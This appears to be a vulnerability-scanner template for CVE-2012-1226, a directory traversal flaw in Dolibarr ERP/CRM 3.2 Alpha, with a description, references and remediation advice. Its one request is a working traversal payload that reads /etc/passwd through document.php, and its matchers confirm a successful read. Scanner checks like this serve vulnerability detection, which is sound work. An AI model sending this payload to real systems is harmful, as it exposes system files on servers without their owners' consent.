id: CVE-2012-1226 info: name: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities author: daffainfo severity: high description: Multiple directory traversal vulnerabilities in Dolibarr CMS 3.2.0 Alpha allow remote attackers to read arbitrary files and possibly execute arbitrary code via a .. (dot dot) in the (1) file parameter to document.php or (2) backtopage parameter in a create action to comm/action/fiche.php. reference: - https://www.exploit-db.com/exploits/36873 - https://www.cvedetails.com/cve/CVE-2012-1226 - http://web.archive.org/web/20210508221434/https://www.securityfocus.com/archive/1/521583 - http://www.vulnerability-lab.com/get_content.php?id=428 remediation: Upgrade to a supported version. classification: cve-id: CVE-2012-1226 tags: cve,cve2012,lfi,dolibarr,traversal requests: - method: GET path: - "{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/18